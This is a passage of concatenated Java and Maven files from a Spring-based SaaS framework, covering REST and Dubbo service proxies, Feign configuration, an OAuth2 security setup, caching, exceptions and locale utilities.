return super.exchange(uri.toString(), HttpMethod.GET, null, resolveParameterizedType(responseType), uriVariables).getBody().getData();
}
protected String resolve(String url)
{
if(StringUtil.isNotBlank(gateway) && !gateway.equals("gateway") && StringUtil.isNotBlank(url)
&& !StringUtil.startsWithIgnoreCase(url,"http://") && !StringUtil.startsWithIgnoreCase(url,"https://"))
{
url = gateway + (gateway.endsWith("/")||url.startsWith("/")?"":"/") + url;
}
return url;
}
protected <T> ParameterizedTypeReference<ServiceResponse<List<T>>> resolveParameterizedType(Class<T> clazz)
{
return new ServiceParameterizedTypeReference<ServiceResponse<List<T>>>(clazz){};
}
private static abstract class ServiceParameterizedTypeReference<T> extends ParameterizedTypeReference<T> {
private final Type type;
protected ServiceParameterizedTypeReference(Class<?> clazz)
{
ParameterizedType list = new ParameterizedTypeImpl(new Type[]{clazz}, null, List.class);
ParameterizedType service = new ParameterizedTypeImpl(new Type[]{list}, null, ServiceResponse.class);
this.type = service;
}
public Type getType() {
return this.type;
}
@Override
public boolean equals(Object obj) {
return (this == obj || (obj instanceof ServiceParameterizedTypeReference && this.type
.equals(((ServiceParameterizedTypeReference<?>) obj).type)));
}
@Override
public int hashCode() {
return this.type.hashCode();
}
@Override
public String toString() {
return "ServiceTemplate.ServiceParameterizedTypeReference<" + this.type + ">";
}
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/remote/DubboProxyFactoryBean.java
package com.zhjs.saas.quark.remote;
import org.springframework.beans.factory.FactoryBean;
import org.springframework.remoting.support.UrlBasedRemoteAccessor;
import com.alibaba.dubbo.config.spring.ReferenceBean;
import com.zhjs.saas.core.util.ApplicationContextUtil;
import com.zhjs.saas.core.util.Assert;
/**
*
* @author: <NAME>
* @since: 2017-12-19
* @modified: 2017-12-19
* @version:
*/
public class DubboProxyFactoryBean<T> extends UrlBasedRemoteAccessor implements FactoryBean<T>
{
private ReferenceBean<T> bean = new ReferenceBean<>();
public DubboProxyFactoryBean()
{
bean.setApplicationContext(ApplicationContextUtil.getApplicationContext());
}
@Override
public T getObject() throws Exception
{
return bean.get();
}
@SuppressWarnings("unchecked")
public Class<T> getObjectType()
{
return (Class<T>)bean.getObjectType();
}
@Override
public boolean isSingleton()
{
return true;
}
@Override
public void afterPropertiesSet()
{
Assert.notNull(this.getServiceInterface(), "Mirco service class must be declared.");
try
{
bean.afterPropertiesSet();
}
catch (Exception e)
{
logger.error(e.getMessage(), e);
}
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/pojo/ObjectCache.java
package com.zhjs.saas.core.pojo;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
*
* @author: <NAME>
* @since: 2017-07-30
* @modified: 2017-07-30
* @version:
*/
public class ObjectCache
{
private int cacheSize=0;
private Map<String,Object> cacheObjects = null;
private Map<String,HitInfo> hitInfoMap = null;
public boolean isCached(String cacheKey){
return cacheObjects.containsKey(cacheKey);
}
public ObjectCache(int cacheSize){
this.cacheSize=cacheSize;
this.cacheObjects = new HashMap<String,Object>(cacheSize);
this.hitInfoMap=new HashMap<String,HitInfo>(cacheSize);
}
public Map<String,Object> getCacheObjects(){
return cacheObjects;
}
public Object getCacheObject(String cacheKey){
Object o = this.cacheObjects.get(cacheKey);
HitInfo hitInfo=this.hitInfoMap.get(cacheKey);
if(hitInfo!=null && o!=null){//更新访问时间和次数
hitInfo.hitCount++;
hitInfo.lastHitTime= new Date().getTime();
}
return o;
}
public void clear(int clearCount){
List<HitInfo> l=new ArrayList<HitInfo>();
l.addAll(hitInfoMap.values());
Collections.sort(l);
for(int i=0;i<clearCount;i++){
HitInfo hitInfo=l.get(i);
hitInfoMap.remove(hitInfo.key);
cacheObjects.remove(hitInfo.key);
}
}
public void setCache(String cacheKey,Object o){
this.cacheObjects.put(cacheKey, o);
HitInfo hitInfo = this.hitInfoMap.get(cacheKey);
if(hitInfo==null){
hitInfo= new HitInfo(cacheKey);
this.hitInfoMap.put(cacheKey, hitInfo);
}
else{
hitInfo.updateTime= new Date().getTime();
}
int i = hitInfoMap.size();
if(i>cacheSize){
clear(this.cacheSize/10);
}
}
public void clear(){
cacheObjects.clear();
hitInfoMap.clear();
}
private class HitInfo implements Comparable<HitInfo> {
String key=null;
long hitCount=0l;
long updateTime=0l;
long lastHitTime=0l;
public HitInfo(String cacheKey){
key=cacheKey;
hitCount = 1L;
updateTime = new Date().getTime();
lastHitTime = new Date().getTime();
}
public int compareTo(HitInfo hitInfo) {
if(this.lastHitTime<hitInfo.lastHitTime){
return -1;
}
else if(this.lastHitTime>hitInfo.lastHitTime){
return 1;
}
else {
if(this.hitCount<hitInfo.hitCount){
return -1;
}
else if(this.hitCount>hitInfo.hitCount){
return 1;
}
else {
if(this.updateTime<hitInfo.updateTime){
return -1;
}
else if(this.updateTime>hitInfo.updateTime){
return 1;
}
else return 0;
}
}
}
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/config/ServiceConsumerConfig.java
package com.zhjs.saas.quark.config;
import java.util.ArrayList;
import java.util.List;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.condition.ConditionalOnClass;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.autoconfigure.web.HttpMessageConverters;
import org.springframework.cloud.netflix.feign.AnnotatedParameterProcessor;
import org.springframework.cloud.netflix.feign.FeignFormatterRegistrar;
import org.springframework.cloud.netflix.feign.support.SpringDecoder;
import org.springframework.cloud.netflix.feign.support.SpringEncoder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Scope;
import org.springframework.core.convert.ConversionService;
import org.springframework.format.support.DefaultFormattingConversionService;
import org.springframework.format.support.FormattingConversionService;
import com.netflix.hystrix.HystrixCommand;
import com.zhjs.saas.quark.annotation.support.ServiceConsumerContract;
import com.zhjs.saas.quark.codec.ServiceConsumerDecoder;
import feign.Contract;
import feign.Feign;
import feign.Retryer;
import feign.codec.Decoder;
import feign.codec.Encoder;
import feign.hystrix.HystrixFeign;
/**
*
* @author: <NAME>
* @since: 2017-12-16
* @modified: 2017-12-16
* @version:
*/
@Configuration
public class ServiceConsumerConfig
{
@Autowired
private ObjectFactory<HttpMessageConverters> messageConverters;
@Autowired(required = false)
private List<AnnotatedParameterProcessor> parameterProcessors = new ArrayList<>();
@Autowired(required = false)
private List<FeignFormatterRegistrar> feignFormatterRegistrars = new ArrayList<>();
@Bean
@ConditionalOnMissingBean
public Decoder feignDecoder()
{
return new ServiceConsumerDecoder(new SpringDecoder(this.messageConverters));
}
@Bean
@ConditionalOnMissingBean
public Encoder feignEncoder()
{
return new SpringEncoder(this.messageConverters);
}
@Bean
@ConditionalOnMissingBean
public Contract feignContract(ConversionService feignConversionService)
{
return new ServiceConsumerContract(this.parameterProcessors, feignConversionService);
}
@Bean
public FormattingConversionService feignConversionService()
{
FormattingConversionService conversionService = new DefaultFormattingConversionService();
for (FeignFormatterRegistrar feignFormatterRegistrar : feignFormatterRegistrars)
{
feignFormatterRegistrar.registerFormatters(conversionService);
}
return conversionService;
}
@Configuration
@ConditionalOnClass({ HystrixCommand.class, HystrixFeign.class })
protected static class HystrixFeignConfiguration
{
@Bean
@Scope("prototype")
@ConditionalOnMissingBean
@ConditionalOnProperty(name = "feign.hystrix.enabled", matchIfMissing = false)
public Feign.Builder feignHystrixBuilder()
{
return HystrixFeign.builder();
}
}
@Bean
@ConditionalOnMissingBean
public Retryer feignRetryer()
{
return Retryer.NEVER_RETRY;
}
@Bean
@Scope("prototype")
@ConditionalOnMissingBean
public Feign.Builder feignBuilder(Retryer retryer)
{
return Feign.builder().retryer(retryer);
}
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/config/Oauth2SecurityConfig.java
package com.zhjs.saas.security.config;
import org.springframework.context.annotation.Bean;
import org.springframework.http.HttpMethod;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.oauth2.provider.client.ClientCredentialsTokenEndpointFilter;
import org.springframework.security.oauth2.provider.error.OAuth2AuthenticationEntryPoint;
import org.springframework.security.web.AuthenticationEntryPoint;
import org.springframework.security.web.authentication.www.BasicAuthenticationFilter;
import org.springframework.web.cors.CorsUtils;
import com.zhjs.saas.core.annotation.CommonAutowired;
import com.zhjs.saas.core.annotation.CommonQualifier;
import com.zhjs.saas.security.exception.OAuthExceptionRenderer;
import com.zhjs.saas.security.matcher.HttpSecurityMatcher;
/**
*
* @author: <NAME>
* @since: 2017-12-12
* @modified: 2017-12-12
* @version:
*/
@CommonAutowired
@EnableWebSecurity
@EnableGlobalMethodSecurity(prePostEnabled=true, securedEnabled=true, jsr250Enabled=true)
public class Oauth2SecurityConfig extends WebSecurityConfigurerAdapter
{
@CommonQualifier
private UserDetailsService userDetailsService;
private HttpSecurityMatcher httpMatcher;
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService==null ? userDetailsService() : userDetailsService)
.passwordEncoder(new BCryptPasswordEncoder());
}
//不定义没有password grant_type
@Override
@Bean
public AuthenticationManager authenticationManagerBean() throws Exception {
return super.authenticationManagerBean();
}
@Bean
public AuthenticationEntryPoint authenticationEntryPoint() throws Exception {
OAuth2AuthenticationEntryPoint entryPoint = new OAuth2AuthenticationEntryPoint();
entryPoint.setExceptionRenderer(new OAuthExceptionRenderer());
return entryPoint;
}
@Override
public void configure(WebSecurity web) throws Exception {
web.ignoring().antMatchers(HttpMethod.OPTIONS);
}
@Override
public void configure(HttpSecurity http) throws Exception
{
ClientCredentialsTokenEndpointFilter filter = new ClientCredentialsTokenEndpointFilter("/oauth/token");
filter.setAuthenticationManager(http.getSharedObject(AuthenticationManager.class));
OAuth2AuthenticationEntryPoint entryPoint = new OAuth2AuthenticationEntryPoint();
entryPoint.setTypeName("Form");
entryPoint.setRealmName("oauth2/client");
entryPoint.setExceptionRenderer(new OAuthExceptionRenderer());
//entryPoint.setExceptionTranslator(exceptionTranslator());
filter.setAuthenticationEntryPoint(entryPoint);
http.addFilterBefore(filter, BasicAuthenticationFilter.class);
/*UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
CorsConfiguration corsCfg = new CorsConfiguration();
corsCfg.setAllowCredentials(true);
corsCfg.addAllowedOrigin("*");
corsCfg.addAllowedHeader("*");
corsCfg.addAllowedMethod("*");
source.registerCorsConfiguration("/**", corsCfg);
http.addFilterBefore(new CorsFilter(source), BasicAuthenticationFilter.class);*/
http.cors().and().csrf().disable()
.exceptionHandling().authenticationEntryPoint(authenticationEntryPoint())
.and()
.requestMatchers().antMatchers(HttpMethod.OPTIONS)
.and()
.authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll();
if(httpMatcher!=null)
httpMatcher.config(http);
else
http.anonymous().disable()
.requestMatchers().antMatchers("/**/oauth/**")
.and()
.authorizeRequests().antMatchers("/**/oauth/**").permitAll();
}
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/exception/OAuthResponseException.java
package com.zhjs.saas.security.exception;
import org.springframework.security.oauth2.common.exceptions.OAuth2Exception;
import org.springframework.security.oauth2.common.exceptions.OAuth2ExceptionJackson2Deserializer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
/**
*
* @author: <NAME>
* @since: 2018-04-13
* @modified: 2018-04-13
* @version:
*/
@SuppressWarnings("serial")
@com.fasterxml.jackson.databind.annotation.JsonSerialize(using = OAuthResponseExceptionSerializer.class)
@com.fasterxml.jackson.databind.annotation.JsonDeserialize(using = OAuth2ExceptionJackson2Deserializer.class)
public class OAuthResponseException extends OAuth2Exception
{
private String errorCode;
public OAuthResponseException(String errorCode, String msg, Throwable t)
{
super(msg, t);
this.errorCode = OAuthException.OAuth_Error_Prefix+errorCode;
}
public String toString()
{
return JSON.toJSONString(this,
SerializerFeature.DisableCircularReferenceDetect,
SerializerFeature.WriteDateUseDateFormat,
SerializerFeature.SkipTransientField,
SerializerFeature.SortField);
}
/**
* @return the errorCode
*/
public String getErrorCode()
{
return errorCode;
}
/**
* @param errorCode the errorCode to set
*/
public void setErrorCode(String errorCode)
{
this.errorCode = errorCode;
}
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/annotation/Security.java
package com.zhjs.saas.security.annotation;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.PARAMETER;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import com.zhjs.saas.core.pojo.BaseObject;
/**
* <p>
* 当value()和entity()同时使用default值时,则权限控制方法的第一个参数必须是long或EntityOwner类型
* </p>
* <p>
* 当value()为default或空,而entity()不是default时,则权限控制方法的第一个参数必须是long类型
* </p>
* <p>
* 当value()非空,则会忽略entity()的值,此时权限控制方法的参数灵活,不受规则约束
* </p>
*
* @author: <NAME>
* @since: 2018-03-10
* @modified: 2018-03-10
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target({ METHOD, PARAMETER })
public @interface Security
{
/**
* expression, only support spring EL
* @return
*/
String value() default "";
/**
* entity type that need to be validate
*
* @return
*/
Class<? extends BaseObject> entity() default BaseObject.class;
/**
* error code or message
* @return
*/
String error() default "";
}
<file_sep>/saas-scheduler/src/main/java/com/zhjs/saas/scheduler/processor/BaseProcessor.java
package com.zhjs.saas.scheduler.processor;
import org.springframework.batch.core.JobParameters;
import org.springframework.batch.core.StepExecution;
import org.springframework.batch.core.annotation.BeforeStep;
import org.springframework.batch.item.ExecutionContext;
import org.springframework.batch.item.ItemProcessor;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
/**
*
* @author: <NAME>
* @since: 2018-06-11
* @modified: 2018-06-11
* @version:
*/
public abstract class BaseProcessor<I, O> implements ItemProcessor<I, O>
{
protected Logger logger = LoggerFactory.getLogger(getClass());
protected StepExecution stepExecution;
@BeforeStep
public void saveStepExecution(StepExecution stepExecution)
{
this.stepExecution = stepExecution;
}
@Override
final public O process(I input) throws Exception
{
JobParameters params = stepExecution.getJobParameters();
ExecutionContext stepContext = stepExecution.getExecutionContext();
return doProcess(input, params, stepContext);
}
public abstract O doProcess(I input, JobParameters params, ExecutionContext stepContext) throws Exception;
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/KeyValue.java
package com.zhjs.saas.core.util;
import java.io.Serializable;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
/**
*
* @author: <NAME>
* @since: 2017-05-18
* @modified: 2017-05-18
* @version:
*/
@SuppressWarnings("rawtypes")
public class KeyValue implements Comparable, Serializable {
private static final long serialVersionUID = -4348371499608974164L;
private String key;
private Object value;
private Object extra1;
private Object extra2;
private Object extra3;
private Object extra4;
/**
*
*/
public KeyValue() {
// TODO Auto-generated constructor stub
}
/**
* @param key
* @param value
*/
public KeyValue(String key, Object value) {
super();
this.key = key;
this.value = value;
}
/* (non-Javadoc)
* @see java.lang.Comparable#compareTo(java.lang.Object)
*/
public int compareTo(Object o) {
// TODO Auto-generated method stub
return this.getKey().compareToIgnoreCase(((KeyValue) o).getKey());
}
public String toString()
{
ToStringBuilder sb = new ToStringBuilder(this, ToStringStyle.DEFAULT_STYLE);
sb.append("key: ", this.getKey());
sb.append("value: ", this.getValue());
if(this.getExtra1()!=null)
sb.append("extra1: ", this.getExtra1());
if(this.getExtra2()!=null)
sb.append("extra2: ", this.getExtra2());
if(this.getExtra3()!=null)
sb.append("extra3: ", this.getExtra3());
if(this.getExtra4()!=null)
sb.append("extra4: ", this.getExtra4());
return sb.toString();
}
/**
* @return the key
*/
public final String getKey() {
return key;
}
/**
* @param key the key to set
*/
public final void setKey(String key) {
this.key = key;
}
/**
* @return the value
*/
public final Object getValue() {
return value;
}
/**
* @param value the value to set
*/
public final void setValue(Object value) {
this.value = value;
}
/**
* @return the extra1
*/
public final Object getExtra1() {
return extra1;
}
/**
* @param extra1 the extra1 to set
*/
public final void setExtra1(Object extra1) {
this.extra1 = extra1;
}
/**
* @return the extra2
*/
public final Object getExtra2() {
return extra2;
}
/**
* @param extra2 the extra2 to set
*/
public final void setExtra2(Object extra2) {
this.extra2 = extra2;
}
/**
* @return the extra3
*/
public final Object getExtra3() {
return extra3;
}
/**
* @param extra3 the extra3 to set
*/
public final void setExtra3(Object extra3) {
this.extra3 = extra3;
}
/**
* @return the extra4
*/
public final Object getExtra4() {
return extra4;
}
/**
* @param extra4 the extra4 to set
*/
public final void setExtra4(Object extra4) {
this.extra4 = extra4;
}
}
<file_sep>/saas-scheduler/src/main/java/com/zhjs/saas/scheduler/annotation/EnableElasticJob.java
package com.zhjs.saas.scheduler.annotation;
import static java.lang.annotation.ElementType.ANNOTATION_TYPE;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Inherited;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
/**
*
* @author: <NAME>
* @since: 2018-06-11
* @modified: 2018-06-11
* @version:
*/
@Documented
@Inherited
@Retention(RUNTIME)
@Target({ TYPE, ANNOTATION_TYPE })
//@Import({JobParserAutoConfiguration.class})
public @interface EnableElasticJob
{
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/CommonResponseErrorHandler.java
package com.zhjs.saas.core.exception;
import java.io.IOException;
import org.springframework.http.client.ClientHttpResponse;
import org.springframework.web.client.DefaultResponseErrorHandler;
/**
*
* @author: <NAME>
* @since: 2017-12-12
* @modified: 2017-12-12
* @version:
*/
public class CommonResponseErrorHandler extends DefaultResponseErrorHandler
{
public void handleError(ClientHttpResponse response) throws IOException
{
super.handleError(response);
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/DaoException.java
package com.zhjs.saas.core.exception;
public class DaoException extends BaseException
{
private static final long serialVersionUID = -540034043968947014L;
public static final String DAO_ERROR = "isv.error.db_access_error";
public static final String Empty_Data = "isv.error.result_data_empty";
public DaoException(Throwable cause)
{
super(DAO_ERROR, cause);
}
public DaoException(String errorCode, String message)
{
super(errorCode, message);
}
public DaoException(String errorCode, Throwable cause)
{
super(errorCode, cause);
}
public DaoException(String errorCode, String message, Throwable cause)
{
super(errorCode, message, cause);
}
}
<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/remote/RestProxyFactoryBean.java
package com.zhjs.saas.quark.remote;
import org.springframework.beans.factory.FactoryBean;
import org.springframework.remoting.support.UrlBasedRemoteAccessor;
import org.springframework.web.client.RestTemplate;
import com.zhjs.saas.core.util.Assert;
/**
*
* @author: <NAME>
* @since: 2017-11-16
* @modified: 2017-11-16
* @version:
*/
public class RestProxyFactoryBean<T> extends UrlBasedRemoteAccessor implements FactoryBean<T>
{
private RestTemplate restTemplate;
public RestProxyFactoryBean()
{
restTemplate = new RestTemplate();
}
@Override
public void afterPropertiesSet()
{
Assert.notNull(this.getServiceUrl(), "Micro service url must not be null, please call setServiceUrl().");
Assert.notNull(this.getServiceInterface(), "Mirco service class must be declared.");
}
@Override
public T getObject() throws Exception
{
return restTemplate.getForObject(this.getServiceUrl(), getObjectType());
}
@SuppressWarnings("unchecked")
public Class<T> getObjectType()
{
return (Class<T>)getServiceInterface();
}
@Override
public boolean isSingleton()
{
return true;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/event/EventDispatcher.java
package com.zhjs.saas.core.event;
import org.springframework.context.ApplicationEvent;
import com.zhjs.saas.core.util.ApplicationContextUtil;
/**
*
* @author: <NAME>
* @since: 2017-05-17
* @modified: 2017-05-17
* @version:
*/
public abstract class EventDispatcher {
public static void dispatchEvent(BaseEvent event)
{
// [0] is java.lang.Stack
// [1] is current stack EventDispatcher
// [2] is pre stack
StackTraceElement element = Thread.currentThread().getStackTrace()[2];
event.setFrom(element.getClassName() + "." + element.getMethodName() + "()(line:" + element.getLineNumber() + ")");
new Thread(new BaseEventWrapper(event)).start();
}
public static void dispatchEvent(BaseEvent event, boolean publishRemote)
{
new Thread(new BaseEventWrapper(event,publishRemote)).start();
}
public static void dispatchEvent(ApplicationEvent event)
{
dispatchEvent((Object)event);
}
public static void dispatchEvent(Object event)
{
ApplicationContextUtil.getApplicationContext().publishEvent(event);
}
}
<file_sep>/saas-scheduler/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>saas-scheduler</artifactId>
<name>${project.artifactId}</name>
<parent>
<groupId>com.zhjs</groupId>
<artifactId>saas-framework</artifactId>
<version>0.0.1-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-core</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-batch</artifactId>
</dependency>
<dependency>
<groupId>com.dangdang</groupId>
<artifactId>elastic-job-lite-core</artifactId>
<version>${elastic-job.version}</version>
</dependency>
<dependency>
<groupId>com.dangdang</groupId>
<artifactId>elastic-job-lite-spring</artifactId>
<version>${elastic-job.version}</version>
</dependency>
<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-client</artifactId>
<version>${curator-client.version}</version>
</dependency>
</dependencies>
</project><file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/HttpRequestException.java
package com.zhjs.saas.core.exception;
/**
*
* @author: <NAME>
* @since: 2017-10-22
* @modified: 2017-10-22
* @version:
*/
public class HttpRequestException extends BaseException
{
private static final long serialVersionUID = -540034043968947014L;
public HttpRequestException(String errorCode, Throwable cause)
{
super(errorCode, cause);
}
public HttpRequestException(String errorCode, String causeMessage, Throwable cause)
{
super(errorCode, causeMessage, cause);
}
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/exception/OAuthResponseExceptionTranslator.java
package com.zhjs.saas.security.exception;
import java.io.IOException;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.oauth2.common.OAuth2AccessToken;
import org.springframework.security.oauth2.common.exceptions.InsufficientScopeException;
import org.springframework.security.oauth2.common.exceptions.OAuth2Exception;
import org.springframework.security.oauth2.provider.error.DefaultWebResponseExceptionTranslator;
/**
*
* @author: <NAME>
* @since: 2018-04-13
* @modified: 2018-04-13
* @version:
*/
public class OAuthResponseExceptionTranslator extends DefaultWebResponseExceptionTranslator
{
public ResponseEntity<OAuth2Exception> translate(Exception e) throws Exception
{
ResponseEntity<OAuth2Exception> response = super.translate(e);
OAuth2Exception oe = response.getBody();
OAuthResponseException ose = new OAuthResponseException(oe.getOAuth2ErrorCode(), oe.getMessage(), oe);
return handleOAuth2Exception(ose);
}
private ResponseEntity<OAuth2Exception> handleOAuth2Exception(OAuth2Exception e) throws IOException
{
int status = e.getHttpErrorCode();
HttpHeaders headers = new HttpHeaders();
headers.set("Cache-Control", "no-store");
headers.set("Pragma", "no-cache");
if (status == HttpStatus.UNAUTHORIZED.value() || (e instanceof InsufficientScopeException)) {
headers.set("WWW-Authenticate", String.format("%s %s", OAuth2AccessToken.BEARER_TYPE, e.getSummary()));
}
ResponseEntity<OAuth2Exception> response = new ResponseEntity<OAuth2Exception>(e, headers,
HttpStatus.valueOf(status));
return response;
}
}
<file_sep>/saas-dependencies/pom.xml
<?xml version="1.0"?>
<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"
xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<modelVersion>4.0.0</modelVersion>
<artifactId>saas-dependencies</artifactId>
<name>${project.artifactId}</name>
<packaging>pom</packaging>
<parent>
<groupId>com.zhjs</groupId>
<artifactId>saas-framework</artifactId>
<version>0.0.1-SNAPSHOT</version>
</parent>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-core</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-api-doc</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-quark</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-command</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-router</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-security</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-scheduler</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-trace</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-notification</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-dsl</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-flow</artifactId>
<version>${saas.framework.version}</version>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-quantum</artifactId>
<version>${saas.framework.version}</version>
</dependency>
</dependencies>
</dependencyManagement>
</project>
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/matcher/HttpSecurityMatcher.java
package com.zhjs.saas.security.matcher;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
/**
*
* @author: <NAME>
* @since: 2018-02-27
* @modified: 2018-02-27
* @version:
*/
public interface HttpSecurityMatcher
{
public static final int Ant = 1;
public static final int Regrex = 2;
public void config(HttpSecurity http) throws Exception;
public void refresh() throws Exception;
public void setHttpSecurity(HttpSecurity http);
public HttpSecurity getHttpSecurity();
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/service/GenericService.java
package com.zhjs.saas.core.service;
import java.util.List;
import com.zhjs.saas.core.pojo.BaseObject;
/**
*
* @author: <NAME>
* @since: 2017-11-13
* @modified: 2017-11-13
* @version:
*/
public interface GenericService
{
public <T extends BaseObject> List<T> list(String[] ids, String entityClass) throws Exception;
public <T extends BaseObject> T get(String id, String entityClass) throws Exception;
public <T extends BaseObject> T saveOrUpdate(T t) throws Exception;
public boolean remove(String userid, String entityClass) throws Exception;
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/LocaleUtil.java
package com.zhjs.saas.core.util;
import java.util.Locale;
import javax.servlet.http.HttpServletRequest;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.LocaleResolver;
/**
*
* @author: <NAME>
* @since: 2017-05-18
* @modified: 2017-05-18
* @version:
*/
public abstract class LocaleUtil {
/**
* Private constructor to prevent instantiation.
*/
private LocaleUtil(){}
public final static String DefaultLocale = "en";
/**
* Parse the given <code>localeString</code> into a {@link Locale}.
* <p>This is the inverse operation of {@link Locale#toString Locale's toString}.
* @param localeString the locale string, following <code>Locale's</code>
* <code>toString()</code> format ("en", "en_UK", etc);
* also accepts spaces as separators, as an alternative to underscores
* @return a corresponding <code>Locale</code> instance
*/
public static Locale toLocale(String localeString) {
String[] parts = StringUtil.tokenizeToStringArray(localeString, "_ ", false, false);
String language = (parts.length > 0 ? parts[0] : "");
String country = (parts.length > 1 ? parts[1] : "");
String variant = "";
if (parts.length >= 2) {
// There is definitely a variant, and it is everything after the country
// code sans the separator between the country code and the variant.
int endIndexOfCountryCode = localeString.indexOf(country) + country.length();
// Strip off any leading '_' and whitespace, what's left is the variant.
variant = StringUtil.trimLeadingWhitespace(localeString.substring(endIndexOfCountryCode));
if (variant.startsWith("_")) {
variant = StringUtil.trimLeadingCharacter(variant, '_');
}
}
return (language.length() > 0 ? new Locale(language, country, variant) : null);
}
/**
* Return the LocaleResolver that has been bound to the request by the
* DispatcherServlet.
* @param request current HTTP request
* @return the current LocaleResolver, or <code>null</code> if not found
*/
public static LocaleResolver getLocaleResolver(HttpServletRequest request) {
return (LocaleResolver) request.getAttribute(DispatcherServlet.LOCALE_RESOLVER_ATTRIBUTE);
}
/**
* Retrieves the current locale from the given request,
* using the LocaleResolver bound to the request by the DispatcherServlet
* (if available), falling back to the request's accept-header Locale.
* @param request current HTTP request
* @return the current locale, either from the LocaleResolver or from
* the plain request
* @see #getLocaleResolver
* @see javax.servlet.http.HttpServletRequest#getLocale()
*/
public static Locale getLocale(HttpServletRequest request) {
LocaleResolver localeResolver = getLocaleResolver(request);
if (localeResolver != null) {
return localeResolver.resolveLocale(request);
}
else {
return request.getLocale();
}
}
public static String getLocaleKey(String key)
{
return getLocaleKey(key, WebUtil.getRequest());
}
public static String getLocaleKey(String key, HttpServletRequest request)
{
